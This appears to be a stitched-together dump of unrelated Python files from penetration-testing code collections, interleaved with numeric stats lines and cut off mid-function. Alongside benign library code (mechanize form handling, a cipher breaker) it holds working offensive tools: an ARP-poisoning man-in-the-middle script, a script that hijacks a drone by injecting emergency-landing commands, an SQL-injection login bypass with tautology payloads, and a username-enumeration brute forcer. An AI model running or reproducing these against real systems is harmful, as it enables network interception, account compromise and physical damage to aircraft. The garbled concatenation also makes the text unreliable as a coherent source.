only name and value arguments are supplied, equivalent to form[name] """ if by_label: deprecation("form.get_value_by_label(...)") c = self.find_control(name, type, kind, id, label=label, nr=nr) if by_label: try: meth = c.get_value_by_label except AttributeError: raise NotImplementedError( "control '%s' does not yet support by_label" % c.name) else: return meth() else: return c.value def set_value(self, value, name=None, type=None, kind=None, id=None, nr=None, by_label=False, # by_label is deprecated label=None): """Set value of control. If only name and value arguments are supplied, equivalent to form[name] = value """ if by_label: deprecation("form.get_value_by_label(...)") c = self.find_control(name, type, kind, id, label=label, nr=nr) if by_label: try: meth = c.set_value_by_label except AttributeError: raise NotImplementedError( "control '%s' does not yet support by_label" % c.name) else: meth(value) else: c.value = value def get_value_by_label( self, name=None, type=None, kind=None, id=None, label=None, nr=None): """ All arguments should be passed by name. """ c = self.find_control(name, type, kind, id, label=label, nr=nr) return c.get_value_by_label() def set_value_by_label( self, value, name=None, type=None, kind=None, id=None, label=None, nr=None): """ All arguments should be passed by name. """ c = self.find_control(name, type, kind, id, label=label, nr=nr) c.set_value_by_label(value) def set_all_readonly(self, readonly): for control in self.controls: control.readonly = bool(readonly) def clear_all(self): """Clear the value attributes of all controls in the form. See HTMLForm.clear.__doc__. """ for control in self.controls: control.clear() def clear(self, name=None, type=None, kind=None, id=None, nr=None, label=None): """Clear the value attribute of a control. As a result, the affected control will not be successful until a value is subsequently set. AttributeError is raised on readonly controls. """ c = self.find_control(name, type, kind, id, label=label, nr=nr) c.clear() #--------------------------------------------------- # Form-filling methods applying only to ListControls. def possible_items(self, # deprecated name=None, type=None, kind=None, id=None, nr=None, by_label=False, label=None): """Return a list of all values that the specified control can take.""" c = self._find_list_control(name, type, kind, id, label, nr) return c.possible_items(by_label) def set(self, selected, item_name, # deprecated name=None, type=None, kind=None, id=None, nr=None, by_label=False, label=None): """Select / deselect named list item. selected: boolean selected state """ self._find_list_control(name, type, kind, id, label, nr).set( selected, item_name, by_label) def toggle(self, item_name, # deprecated name=None, type=None, kind=None, id=None, nr=None, by_label=False, label=None): """Toggle selected state of named list item.""" self._find_list_control(name, type, kind, id, label, nr).toggle( item_name, by_label) def set_single(self, selected, # deprecated name=None, type=None, kind=None, id=None, nr=None, by_label=None, label=None): """Select / deselect list item in a control having only one item. If the control has multiple list items, ItemCountError is raised. This is just a convenience method, so you don't need to know the item's name -- the item name in these single-item controls is usually something meaningless like "1" or "on". For example, if a checkbox has a single item named "on", the following two calls are equivalent: control.toggle("on") control.toggle_single() """ # by_label ignored and deprecated self._find_list_control( name, type, kind, id, label, nr).set_single(selected) def toggle_single(self, name=None, type=None, kind=None, id=None, nr=None, by_label=None, label=None): # deprecated """Toggle selected state of list item in control having only one item. The rest is as for HTMLForm.set_single.__doc__. """ # by_label ignored and deprecated self._find_list_control(name, type, kind, id, label, nr).toggle_single() #--------------------------------------------------- # Form-filling method applying only to FileControls. def add_file(self, file_object, content_type=None, filename=None, name=None, id=None, nr=None, label=None): """Add a file to be uploaded. file_object: file-like object (with read method) from which to read data to upload content_type: MIME content type of data to upload filename: filename to pass to server If filename is None, no filename is sent to the server. If content_type is None, the content type is guessed based on the filename and the data from read from the file object. XXX At the moment, guessed content type is always application/octet-stream. Use sndhdr, imghdr modules. Should also try to guess HTML, XML, and plain text. Note the following useful HTML attributes of file upload controls (see HTML 4.01 spec, section 17): accept: comma-separated list of content types that the server will handle correctly; you can use this to filter out non-conforming files size: XXX IIRC, this is indicative of whether form wants multiple or single files maxlength: XXX hint of max content length in bytes? """ self.find_control(name, "file", id=id, label=label, nr=nr).add_file( file_object, content_type, filename) #--------------------------------------------------- # Form submission methods, applying only to clickable controls. def click(self, name=None, type=None, id=None, nr=0, coord=(1,1), request_class=_request.Request, label=None): """Return request that would result from clicking on a control. The request object is a mechanize.Request instance, which you can pass to mechanize.urlopen. Only some control types (INPUT/SUBMIT & BUTTON/SUBMIT buttons and IMAGEs) can be clicked. Will click on the first clickable control, subject to the name, type and nr arguments (as for find_control). If no name, type, id or number is specified and there are no clickable controls, a request will be returned for the form in its current, un-clicked, state. IndexError is raised if any of name, type, id or nr is specified but no matching control is found. ValueError is raised if the HTMLForm has an enctype attribute that is not recognised. You can optionally specify a coordinate to click at, which only makes a difference if you clicked on an image. """ return self._click(name, type, id, label, nr, coord, "request", self._request_class) def click_request_data(self, name=None, type=None, id=None, nr=0, coord=(1,1), request_class=_request.Request, label=None): """As for click method, but return a tuple (url, data, headers). You can use this data to send a request to the server. This is useful if you're using httplib or urllib rather than mechanize. Otherwise, use the click method. # Untested. Have to subclass to add headers, I think -- so use # mechanize instead! import urllib url, data, hdrs = form.click_request_data() r = urllib.urlopen(url, data) # Untested. I don't know of any reason to use httplib -- you can get # just as much control with mechanize. import httplib, urlparse url, data, hdrs = form.click_request_data() tup = urlparse(url) host, path = tup[1], urlparse.urlunparse((None, None)+tup[2:]) conn = httplib.HTTPConnection(host) if data: httplib.request("POST", path, data, hdrs) else: httplib.request("GET", path, headers=hdrs) r = conn.getresponse() """ return self._click(name, type, id, label, nr, coord, "request_data", self._request_class) def click_pairs(self, name=None, type=None, id=None, nr=0, coord=(1,1), label=None): """As for click_request_data, but returns a list of (key, value) pairs. You can use this list as an argument to urllib.urlencode. This is usually only useful if you're using httplib or urllib rather than mechanize. It may also be useful if you want to manually tweak the keys and/or values, but this should not be necessary. Otherwise, use the click method. Note that this method is only useful for forms of MIME type x-www-form-urlencoded. In particular, it does not return the information required for file upload. If you need file upload and are not using mechanize, use click_request_data. """ return self._click(name, type, id, label, nr, coord, "pairs", self._request_class) #--------------------------------------------------- def find_control(self, name=None, type=None, kind=None, id=None, predicate=None, nr=None, label=None): """Locate and return some specific control within the form. At least one of the name, type, kind, predicate and nr arguments must be supplied. If no matching control is found, ControlNotFoundError is raised. If name is specified, then the control must have the indicated name. If type is specified then the control must have the specified type (in addition to the types possible for <input> HTML tags: "text", "password", "hidden", "submit", "image", "button", "radio", "checkbox", "file" we also have "reset", "buttonbutton", "submitbutton", "resetbutton", "textarea", "select" and "isindex"). If kind is specified, then the control must fall into the specified group, each of which satisfies a particular interface. The types are "text", "list", "multilist", "singlelist", "clickable" and "file". If id is specified, then the control must have the indicated id. If predicate is specified, then the control must match that function. The predicate function is passed the control as its single argument, and should return a boolean value indicating whether the control matched. nr, if supplied, is the sequence number of the control (where 0 is the first). Note that control 0 is the first control matching all the other arguments (if supplied); it is not necessarily the first control in the form. If no nr is supplied, AmbiguityError is raised if multiple controls match the other arguments (unless the .backwards-compat attribute is true). If label is specified, then the control must have this label. Note that radio controls and checkboxes never have labels: their items do. """ if ((name is None) and (type is None) and (kind is None) and (id is None) and (label is None) and (predicate is None) and (nr is None)): raise ValueError( "at least one argument must be supplied to specify control") return self._find_control(name, type, kind, id, label, predicate, nr) #--------------------------------------------------- # Private methods. def _find_list_control(self, name=None, type=None, kind=None, id=None, label=None, nr=None): if ((name is None) and (type is None) and (kind is None) and (id is None) and (label is None) and (nr is None)): raise ValueError( "at least one argument must be supplied to specify control") return self._find_control(name, type, kind, id, label, is_listcontrol, nr) def _find_control(self, name, type, kind, id, label, predicate, nr): if ((name is not None) and (name is not Missing) and not isstringlike(name)): raise TypeError("control name must be string-like") if (type is not None) and not isstringlike(type): raise TypeError("control type must be string-like") if (kind is not None) and not isstringlike(kind): raise TypeError("control kind must be string-like") if (id is not None) and not isstringlike(id): raise TypeError("control id must be string-like") if (label is not None) and not isstringlike(label): raise TypeError("control label must be string-like") if (predicate is not None) and not callable(predicate): raise TypeError("control predicate must be callable") if (nr is not None) and nr < 0: raise ValueError("control number must be a positive integer") orig_nr = nr found = None ambiguous = False if nr is None and self.backwards_compat: nr = 0 for control in self.controls: if ((name is not None and name != control.name) and (name is not Missing or control.name is not None)): continue if type is not None and type != control.type: continue if kind is not None and not control.is_of_kind(kind): continue if id is not None and id != control.id: continue if predicate and not predicate(control): continue if label: for l in control.get_labels(): if l.text.find(label) > -1: break else: continue if nr is not None: if nr == 0: return control # early exit: unambiguous due to nr nr -= 1 continue if found: ambiguous = True break found = control if found and not ambiguous: return found description = [] if name is not None: description.append("name %s" % repr(name)) if type is not None: description.append("type '%s'" % type) if kind is not None: description.append("kind '%s'" % kind) if id is not None: description.append("id '%s'" % id) if label is not None: description.append("label '%s'" % label) if predicate is not None: description.append("predicate %s" % predicate) if orig_nr: description.append("nr %d" % orig_nr) description = ", ".join(description) if ambiguous: raise AmbiguityError("more than one control matching "+description) elif not found: raise ControlNotFoundError("no control matching "+description) assert False def _click(self, name, type, id, label, nr, coord, return_type, request_class=_request.Request): try: control = self._find_control( name, type, "clickable", id, label, None, nr) except ControlNotFoundError: if ((name is not None) or (type is not None) or (id is not None) or (label is not None) or (nr != 0)): raise # no clickable controls, but no control was explicitly requested, # so return state without clicking any control return self._switch_click(return_type, request_class) else: return control._click(self, coord, return_type, request_class) def _pairs(self): """Return sequence of (key, value) pairs suitable for urlencoding.""" return [(k, v) for (i, k, v, c_i) in self._pairs_and_controls()] def _pairs_and_controls(self): """Return sequence of (index, key, value, control_index) of totally ordered pairs suitable for urlencoding. control_index is the index of the control in self.controls """ pairs = [] for control_index in range(len(self.controls)): control = self.controls[control_index] for ii, key, val in control._totally_ordered_pairs(): pairs.append((ii, key, val, control_index)) # stable sort by ONLY first item in tuple pairs.sort() return pairs def _request_data(self): """Return a tuple (url, data, headers).""" method = self.method.upper() #scheme, netloc, path, parameters, query, frag = urlparse.urlparse(self.action) parts = self._urlparse(self.action) rest, (query, frag) = parts[:-2], parts[-2:] if method == "GET": if self.enctype != "application/x-www-form-urlencoded": raise ValueError( "unknown GET form encoding type '%s'" % self.enctype) parts = rest + (urllib.urlencode(self._pairs()), None) uri = self._urlunparse(parts) return uri, None, [] elif method == "POST": parts = rest + (query, None) uri = self._urlunparse(parts) if self.enctype == "application/x-www-form-urlencoded": return (uri, urllib.urlencode(self._pairs()), [("Content-Type", self.enctype)]) elif self.enctype == "multipart/form-data": data = StringIO() http_hdrs = [] mw = MimeWriter(data, http_hdrs) mw.startmultipartbody("form-data", add_to_http_hdrs=True, prefix=0) for ii, k, v, control_index in self._pairs_and_controls(): self.controls[control_index]._write_mime_data(mw, k, v) mw.lastpart() return uri, data.getvalue(), http_hdrs else: raise ValueError( "unknown POST form encoding type '%s'" % self.enctype) else: raise ValueError("Unknown method '%s'" % method) def _switch_click(self, return_type, request_class=_request.Request): # This is called by HTMLForm and clickable Controls to hide switching # on return_type. if return_type == "pairs": return self._pairs() elif return_type == "request_data": return self._request_data() else: req_data = self._request_data() req = request_class(req_data[0], req_data[1]) for key, val in req_data[2]: add_hdr = req.add_header if key.lower() == "content-type": try: add_hdr = req.add_unredirected_header except AttributeError: # pre-2.4 and not using ClientCookie pass add_hdr(key, val) return req
35.83755
87
0.593548
owtf
""" SEMI-PASSIVE Plugin for Testing for Session Management Schema (OWASP-SM-001) https://www.owasp.org/index.php/Testing_for_Session_Management_Schema_%28OWASP-SM-001%29 """ import json from collections import defaultdict from owtf.config import config_handler from owtf.requester.base import requester from owtf.managers.transaction import get_transaction_by_id, search_by_regex_names DESCRIPTION = "Normal requests to gather session management info" def run(PluginInfo): # True = Use Transaction Cache if possible: Visit the start URLs if not already visited # Step 1 - Find transactions that set cookies # Step 2 - Request 10 times per URL that sets cookies # Step 3 - Compare values and calculate randomness url_list = [] cookie_dict = defaultdict(list) # Get all possible values of the cookie names and values for id in search_by_regex_names( [config_handler.get_val("HEADERS_FOR_COOKIES")] ): # Transactions with cookies url = get_transaction_by_id(id) if url: url = url.url # Limitation: Not Checking POST, normally not a problem else: continue if url not in url_list: # Only if URL not already processed! url_list.append(url) # Keep track of processed URLs for _ in range(0, 10): # Get more cookies to perform analysis transaction = requester.get_transaction(False, url) cookies = transaction.get_session_tokens() for cookie in cookies: cookie_dict[cookie.name].append(str(cookie.value)) # Leave the randomness test to the user return json.dumps(cookie_dict)
39.926829
91
0.680382
cybersecurity-penetration-testing
from Crypto.PublicKey import RSA new_key = RSA.generate(2048, e=65537) public_key = new_key.publickey().exportKey("PEM") private_key = new_key.exportKey("PEM") print public_key print private_key
21.444444
50
0.736318
Python-Penetration-Testing-for-Developers
#brute force username enumeration import sys import urllib import urllib2 if len(sys.argv) !=2: print "usage: %s filename" % (sys.argv[0]) sys.exit(0) filename=str(sys.argv[1]) userlist = open(filename,'r') url = "http://www.vulnerablesite.com/forgotpassword.html" foundusers = [] UnknownStr="Username not found" for user in userlist: user=user.rstrip() data = urllib.urlencode({"username":user}) request = urllib2.urlopen(url,data) response = request.read() if(response.find(UnknownStr)>=0) foundusers.append(user) request.close() if len(foundusers)>0: print "Found Users:\n" for name in foundusers: print name+"\n" else: print "No users found\n"
19.484848
57
0.712593
cybersecurity-penetration-testing
#!/usr/bin/env python import sys import urllib import cStringIO from optparse import OptionParser from PIL import Image from itertools import izip def get_pixel_pairs(iterable): a = iter(iterable) return izip(a, a) def set_LSB(value, bit): if bit == '0': value = value & 254 else: value = value | 1 return value def get_LSB(value): if value & 1 == 0: return '0' else: return '1' def extract_message(carrier, from_url=False): if from_url: f = cStringIO.StringIO(urllib.urlopen(carrier).read()) c_image = Image.open(f) else: c_image = Image.open(carrier) pixel_list = list(c_image.getdata()) message = "" for pix1, pix2 in get_pixel_pairs(pixel_list): message_byte = "0b" for p in pix1: message_byte += get_LSB(p) for p in pix2: message_byte += get_LSB(p) if message_byte == "0b00000000": break message += chr(int(message_byte,2)) return message def hide_message(carrier, message, outfile, from_url=False): message += chr(0) if from_url: f = cStringIO.StringIO(urllib.urlopen(carrier).read()) c_image = Image.open(f) else: c_image = Image.open(carrier) c_image = c_image.convert('RGBA') out = Image.new(c_image.mode, c_image.size) width, height = c_image.size pixList = list(c_image.getdata()) newArray = [] for i in range(len(message)): charInt = ord(message[i]) cb = str(bin(charInt))[2:].zfill(8) pix1 = pixList[i*2] pix2 = pixList[(i*2)+1] newpix1 = [] newpix2 = [] for j in range(0,4): newpix1.append(set_LSB(pix1[j], cb[j])) newpix2.append(set_LSB(pix2[j], cb[j+4])) newArray.append(tuple(newpix1)) newArray.append(tuple(newpix2)) newArray.extend(pixList[len(message)*2:]) out.putdata(newArray) out.save(outfile) return outfile if __name__ == "__main__": usage = "usage: %prog [options] arg1 arg2" parser = OptionParser(usage=usage) parser.add_option("-c", "--carrier", dest="carrier", help="The filename of the image used as the carrier.", metavar="FILE") parser.add_option("-m", "--message", dest="message", help="The text to be hidden.", metavar="FILE") parser.add_option("-o", "--output", dest="output", help="The filename the output file.", metavar="FILE") parser.add_option("-e", "--extract", action="store_true", dest="extract", default=False, help="Extract hidden message from carrier and save to output filename.") parser.add_option("-u", "--url", action="store_true", dest="from_url", default=False, help="Extract hidden message from carrier and save to output filename.") (options, args) = parser.parse_args() if len(sys.argv) == 1: print "TEST MODE\nHide Function Test Starting ..." print hide_message('carrier.png', 'The quick brown fox jumps over the lazy dogs back.', 'messagehidden.png') print "Hide test passed, testing message extraction ..." print extract_message('messagehidden.png') else: if options.extract == True: if options.carrier is None: parser.error("a carrier filename -c is required for extraction") else: print extract_message(options.carrier, options.from_url) else: if options.carrier is None or options.message is None or options.output is None: parser.error("a carrier filename -c, message filename -m and output filename -o are required for steg") else: hide_message(options.carrier, options.message, options.output, options.from_url)
29.182482
120
0.554185
Python-Penetration-Testing-for-Developers
import mechanize import re br = mechanize.Browser() br.set_handle_robots( False ) url = raw_input("Enter URL ") br.set_handle_equiv(True) br.set_handle_gzip(True) br.set_handle_redirect(True) br.set_handle_referer(True) br.set_handle_robots(False) br.open(url) for form in br.forms(): print form br.select_form(nr=0) pass_exp = ['k','kl',"1'or'1'='1",'1" or "1"="1'] user1 = raw_input("Enter the Username ") pass1 = raw_input("Enter the Password ") flag =0 p =0 while flag ==0: br.select_form(nr=0) br.form[user1] = 'admin' br.form[pass1] = pass_exp[p] br.submit() data = "" for link in br.links(): data=data+str(link) list = ['logout','logoff', 'signout','signoff'] data1 = data.lower() for l in list: for match in re.findall(l,data1): flag = 1 if flag ==1: print "\t Success in ",p+1," attempts" print "Successfull hit --> ",pass_exp[p] elif(p+1 == len(pass_exp)): print "All exploits over " flag =1 else : p = p+1
17.901961
49
0.639668
cybersecurity-penetration-testing
# Simple Substitution Cipher Hacker # http://inventwithpython.com/hacking (BSD Licensed) import os, re, copy, pprint, pyperclip, simpleSubCipher, makeWordPatterns if not os.path.exists('wordPatterns.py'): makeWordPatterns.main() # create the wordPatterns.py file import wordPatterns LETTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' nonLettersOrSpacePattern = re.compile('[^A-Z\s]') def main(): message = 'Sy l nlx sr pyyacao l ylwj eiswi upar lulsxrj isr sxrjsxwjr, ia esmm rwctjsxsza sj wmpramh, lxo txmarr jia aqsoaxwa sr pqaceiamnsxu, ia esmm caytra jp famsaqa sj. Sy, px jia pjiac ilxo, ia sr pyyacao rpnajisxu eiswi lyypcor l calrpx ypc lwjsxu sx lwwpcolxwa jp isr sxrjsxwjr, ia esmm lwwabj sj aqax px jia rmsuijarj aqsoaxwa. Jia pcsusx py nhjir sr agbmlsxao sx jisr elh. -Facjclxo Ctrramm' # Determine the possible valid ciphertext translations. print('Hacking...') letterMapping = hackSimpleSub(message) # Display the results to the user. print('Mapping:') pprint.pprint(letterMapping) print() print('Original ciphertext:') print(message) print() print('Copying hacked message to clipboard:') hackedMessage = decryptWithCipherletterMapping(message, letterMapping) pyperclip.copy(hackedMessage) print(hackedMessage) def getBlankCipherletterMapping(): # Returns a dictionary value that is a blank cipherletter mapping. return {'A': [], 'B': [], 'C': [], 'D': [], 'E': [], 'F': [], 'G': [], 'H': [], 'I': [], 'J': [], 'K': [], 'L': [], 'M': [], 'N': [], 'O': [], 'P': [], 'Q': [], 'R': [], 'S': [], 'T': [], 'U': [], 'V': [], 'W': [], 'X': [], 'Y': [], 'Z': []} def addLettersToMapping(letterMapping, cipherword, candidate): # The letterMapping parameter is a "cipherletter mapping" dictionary # value that the return value of this function starts as a copy of. # The cipherword parameter is a string value of the ciphertext word. # The candidate parameter is a possible English word that the # cipherword could decrypt to. # This function adds the letters of the candidate as potential # decryption letters for the cipherletters in the cipherletter # mapping. letterMapping = copy.deepcopy(letterMapping) for i in range(len(cipherword)): if candidate[i] not in letterMapping[cipherword[i]]: letterMapping[cipherword[i]].append(candidate[i]) return letterMapping def intersectMappings(mapA, mapB): # To intersect two maps, create a blank map, and then add only the # potential decryption letters if they exist in BOTH maps. intersectedMapping = getBlankCipherletterMapping() for letter in LETTERS: # An empty list means "any letter is possible". In this case just # copy the other map entirely. if mapA[letter] == []: intersectedMapping[letter] = copy.deepcopy(mapB[letter]) elif mapB[letter] == []: intersectedMapping[letter] = copy.deepcopy(mapA[letter]) else: # If a letter in mapA[letter] exists in mapB[letter], add # that letter to intersectedMapping[letter]. for mappedLetter in mapA[letter]: if mappedLetter in mapB[letter]: intersectedMapping[letter].append(mappedLetter) return intersectedMapping def removeSolvedLettersFromMapping(letterMapping): # Cipher letters in the mapping that map to only one letter are # "solved" and can be removed from the other letters. # For example, if 'A' maps to potential letters ['M', 'N'], and 'B' # maps to ['N'], then we know that 'B' must map to 'N', so we can # remove 'N' from the list of what 'A' could map to. So 'A' then maps # to ['M']. Note that now that 'A' maps to only one letter, we can # remove 'M' from the list of letters for every other # letter. (This is why there is a loop that keeps reducing the map.) letterMapping = copy.deepcopy(letterMapping) loopAgain = True while loopAgain: # First assume that we will not loop again: loopAgain = False # solvedLetters will be a list of uppercase letters that have one # and only one possible mapping in letterMapping solvedLetters = [] for cipherletter in LETTERS: if len(letterMapping[cipherletter]) == 1: solvedLetters.append(letterMapping[cipherletter][0]) # If a letter is solved, than it cannot possibly be a potential # decryption letter for a different ciphertext letter, so we # should remove it from those other lists. for cipherletter in LETTERS: for s in solvedLetters: if len(letterMapping[cipherletter]) != 1 and s in letterMapping[cipherletter]: letterMapping[cipherletter].remove(s) if len(letterMapping[cipherletter]) == 1: # A new letter is now solved, so loop again. loopAgain = True return letterMapping def hackSimpleSub(message): intersectedMap = getBlankCipherletterMapping() cipherwordList = nonLettersOrSpacePattern.sub('', message.upper()).split() for cipherword in cipherwordList: # Get a new cipherletter mapping for each ciphertext word. newMap = getBlankCipherletterMapping() wordPattern = makeWordPatterns.getWordPattern(cipherword) if wordPattern not in wordPatterns.allPatterns: continue # This word was not in our dictionary, so continue. # Add the letters of each candidate to the mapping. for candidate in wordPatterns.allPatterns[wordPattern]: newMap = addLettersToMapping(newMap, cipherword, candidate) # Intersect the new mapping with the existing intersected mapping. intersectedMap = intersectMappings(intersectedMap, newMap) # Remove any solved letters from the other lists. return removeSolvedLettersFromMapping(intersectedMap) def decryptWithCipherletterMapping(ciphertext, letterMapping): # Return a string of the ciphertext decrypted with the letter mapping, # with any ambiguous decrypted letters replaced with an _ underscore. # First create a simple sub key from the letterMapping mapping. key = ['x'] * len(LETTERS) for cipherletter in LETTERS: if len(letterMapping[cipherletter]) == 1: # If there's only one letter, add it to the key. keyIndex = LETTERS.find(letterMapping[cipherletter][0]) key[keyIndex] = cipherletter else: ciphertext = ciphertext.replace(cipherletter.lower(), '_') ciphertext = ciphertext.replace(cipherletter.upper(), '_') key = ''.join(key) # With the key we've created, decrypt the ciphertext. return simpleSubCipher.decryptMessage(key, ciphertext) if __name__ == '__main__': main()
44.064103
406
0.654289
Ethical-Hacking-Scripts
from optparse import OptionParser class OptionParse: def __init__(self): self.logo() self.parse_args() def logo(self): print(""" _____ _ _ _____ _ __ ___ / ____| (_) | | __ \ (_) /_ | / _ \ | (___ __ _ _ _ _ __| | |__) |__ _ ___ ___ _ __ ___ _ __ __ _| || | | | \___ \ / _` | | | | |/ _` | ___/ _ \| / __|/ _ \| '_ \ / _ \ '__| \ \ / / || | | | ____) | (_| | |_| | | (_| | | | (_) | \__ \ (_) | | | | __/ | \ V /| || |_| | |_____/ \__, |\__,_|_|\__,_|_| \___/|_|___/\___/|_| |_|\___|_| \_/ |_(_)___/ | | |_| ARP-Poisoner Script By DrSquid""") def usage(self): print(""" [+] Option-Parsing Help: [+] -t, --target - Specify the Target IP. [+] -g, --gateway - Specify your default gateway IP. [+] -i, --info - Shows this message. [+] Usage:""") if sys.argv[0].endswith(".py"): print("""[+] python3 SquidPoisoner.py -t <targetip> -g <gateway> [+] python3 SquidPoisoner.py -i """) else: print("""[+] SquidPoisoner -t <targetip> -g <gateway> [+] SquidPoisoner -i""") def parse_args(self): args = OptionParser() args.add_option("-t","--target", dest="target") args.add_option("-g","--gateway", dest="gateway") args.add_option("-i","--info",dest="info",action="store_true") opt, arg = args.parse_args() if opt.info is not None: self.usage() sys.exit() if opt.target is not None: target = opt.target else: self.usage() sys.exit() if opt.gateway is not None: gateway = opt.gateway else: gateway = "192.168.0.1" mitm = ARP_Poisoner(target, gateway) mitm.arp_poison() class ARP_Poisoner: def __init__(self, targ_ip, gate_ip): self.targ_ip = targ_ip self.gate_ip = gate_ip def obtain_macaddress(self, ip): arpbroadcast = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=ip) recv = srp(arpbroadcast, timeout=2, verbose=False) return recv[0][0][1].hwsrc def send_arp_pkt(self, targetip, targetmac, sourceip): packet = ARP(op=2, pdst=targetip, psrc=sourceip, hwdst=targetmac) send(packet, verbose=False) def restore_arp(self, targetip, targetmac, sourceip, sourcemac): packet = ARP(op=2, hwsrc=sourcemac, psrc=sourceip, hwdst=targetmac, pdst=targetip) send(packet, verbose=False) print(f"[+] ARP Table Restored For: {targetip}") def arp_poison(self): try: self.gate_mac = self.obtain_macaddress(self.gate_ip) print(f"[+] Gateway MAC: {self.gate_mac}") except: print(f"[+] Unable to Obtain MAC Address for {self.gate_ip}") sys.exit() try: self.targ_mac = self.obtain_macaddress(self.targ_ip) print(f"[+] Target MAC: {self.targ_mac}") except: print(f"[+] Unable to Obtain MAC Address for {self.targ_ip}") sys.exit() print("\n[+] Sending ARP-Poisoning Packets to Targets\n[+] Do CTRL+C To Stop Arp Poisoning.\n") print("[+] Be Aware that network traffic is being sent to you!\n[+] Use an external tool to check it out(like WireShark).") while True: try: self.send_arp_pkt(self.targ_ip, self.targ_mac, self.gate_ip) self.send_arp_pkt(self.gate_ip, self.gate_mac, self.targ_ip) except: print("") self.restore_arp(self.gate_ip, self.gate_mac, self.targ_ip, self.targ_mac) self.restore_arp(self.targ_ip, self.targ_mac, self.gate_ip, self.gate_mac) break try: from scapy.all import * except: OptionParse.logo(None) print("[+] Scapy is required to run this script.\n[+] Run this command if you have python: pip install scapy") sys.exit() parser = OptionParse()
42.27551
132
0.473821
cybersecurity-penetration-testing
import subprocess import sys ipfile = sys.argv[1] IPs = open(ipfile, "r") output = open("sslscan.csv", "w+") for IP in IPs: try: command = "sslscan "+IP ciphers = subprocess.check_output(command.split()) for line in ciphers.splitlines(): if "Accepted" in line: output.write(IP+","+line.split()[1]+","+line.split()[4]+","+line.split()[2]+"\r") except: pass
18.947368
85
0.632275
owtf
""" owtf.models.target ~~~~~~~~~~~~~~~~~~ """ from sqlalchemy import Boolean, Column, Integer, String, Index, ForeignKey, Table from sqlalchemy.ext.hybrid import hybrid_property from sqlalchemy.orm import relationship from owtf.db.model_base import Model # This table actually allows us to make a many to many relationship # between transactions table and grep_outputs table target_association_table = Table( "target_session_association", Model.metadata, Column("target_id", Integer, ForeignKey("targets.id")), Column("session_id", Integer, ForeignKey("sessions.id")), ) Index("target_id_idx", target_association_table.c.target_id, postgresql_using="btree") class Target(Model): __tablename__ = "targets" id = Column(Integer, primary_key=True, autoincrement=True) target_url = Column(String, unique=True) host_ip = Column(String) port_number = Column(String) url_scheme = Column(String) alternative_ips = Column(String, nullable=True) # Comma separated host_name = Column(String) host_path = Column(String) ip_url = Column(String) top_domain = Column(String) top_url = Column(String) scope = Column(Boolean, default=True) transactions = relationship("Transaction", cascade="delete") poutputs = relationship("PluginOutput", cascade="delete") urls = relationship("Url", cascade="delete") commands = relationship("Command", cascade="delete") # Also has a column session specified as backref in session model works = relationship("Work", backref="target", cascade="delete") @hybrid_property def max_user_rank(self): user_ranks = [-1] user_ranks += [poutput.user_rank for poutput in self.poutputs] return max(user_ranks) @hybrid_property def max_owtf_rank(self): owtf_ranks = [-1] owtf_ranks += [poutput.owtf_rank for poutput in self.poutputs] return max(owtf_ranks) @classmethod def get_indexed(cls, session): results = session.query(Target.id, Target.target_url).all() return results def __repr__(self): return "<Target (url='{!s}')>".format(self.target_url)
32.246154
86
0.678704
owtf
""" owtf.plugin ~~~~~~~~~~~ """
5.6
11
0.3125
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import threading import dup from scapy.all import * conf.iface = 'mon0' NAVPORT = 5556 LAND = '290717696' EMER = '290717952' TAKEOFF = '290718208' class interceptThread(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.curPkt = None self.seq = 0 self.foundUAV = False def run(self): sniff(prn=self.interceptPkt, filter='udp port 5556') def interceptPkt(self, pkt): if self.foundUAV == False: print '[*] UAV Found.' self.foundUAV = True self.curPkt = pkt raw = pkt.sprintf('%Raw.load%') try: self.seq = int(raw.split(',')[0].split('=')[-1]) + 5 except: self.seq = 0 def injectCmd(self, cmd): radio = dup.dupRadio(self.curPkt) dot11 = dup.dupDot11(self.curPkt) snap = dup.dupSNAP(self.curPkt) llc = dup.dupLLC(self.curPkt) ip = dup.dupIP(self.curPkt) udp = dup.dupUDP(self.curPkt) raw = Raw(load=cmd) injectPkt = radio / dot11 / llc / snap / ip / udp / raw sendp(injectPkt) def emergencyland(self): spoofSeq = self.seq + 100 watch = 'AT*COMWDG=%i\r' %spoofSeq toCmd = 'AT*REF=%i,%s\r' % (spoofSeq + 1, EMER) self.injectCmd(watch) self.injectCmd(toCmd) def takeoff(self): spoofSeq = self.seq + 100 watch = 'AT*COMWDG=%i\r' %spoofSeq toCmd = 'AT*REF=%i,%s\r' % (spoofSeq + 1, TAKEOFF) self.injectCmd(watch) self.injectCmd(toCmd) def main(): uavIntercept = interceptThread() uavIntercept.start() print '[*] Listening for UAV Traffic. Please WAIT...' while uavIntercept.foundUAV == False: pass while True: tmp = raw_input('[-] Press ENTER to Emergency Land UAV.') uavIntercept.emergencyland() if __name__ == '__main__': main()
24.893333
65
0.570325
Hands-On-Penetration-Testing-with-Python
"""A String generator class""" import exrex import base64 import os class StringGenerator(object): def __init__(self): pass def get_alpha_only_string(self, limit = 12, min_length = 10): regex = '[a-zA-Z]+' # if min_length == limit, then? if min_length == limit: limit = min_length + 1 if min_length > limit: limit, min_length = min_length, limit while True: gen = exrex.getone(regex) if len(gen) in range(min_length, limit): return gen def get_alpha_numeric_string(self, limit = 16, min_length = 8): regex = '[a-zA-Z]*[0-9]+[a-zA-Z]*' # if min_length == limit, then? if min_length == limit: limit = min_length + 1 if min_length > limit: limit, min_length = min_length, limit while True: gen = exrex.getone(regex) if len(gen) in range(min_length, limit): return gen def get_strong_password(self): return base64.urlsafe_b64encode(os.urandom(9))[:-1] def get_email_address(self): regex = '^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.(?:[A-Z]{2}|com|org|net|edu|gov|mil|biz|info|mobi|name|aero|asia|jobs|museum)$' gen = exrex.getone(regex) return gen.lower() def get_tautology_string(self, alpha_only = True, QUOTE = 'SINGLE'): if alpha_only: string = self.get_alpha_only_string() else: string = self.get_alpha_numeric_string() if QUOTE == 'SINGLE': quote = "'" elif QUOTE == 'DOUBLE': quote = '"' else: quote = '' regex = '%s%s (or \'1\' = \'1\'|or 1 = 1|or \'a\' = \'a\'|or "1" = "1") or %s' %( string, quote, quote) gen = exrex.getone(regex) return string, gen def get_xml_meta_character_string(self, limit = 16, min_length = 8): regex = '[a-zA-Z]* (\'|"|<|>|<!--)&[a-zA-Z]*' # if min_length == 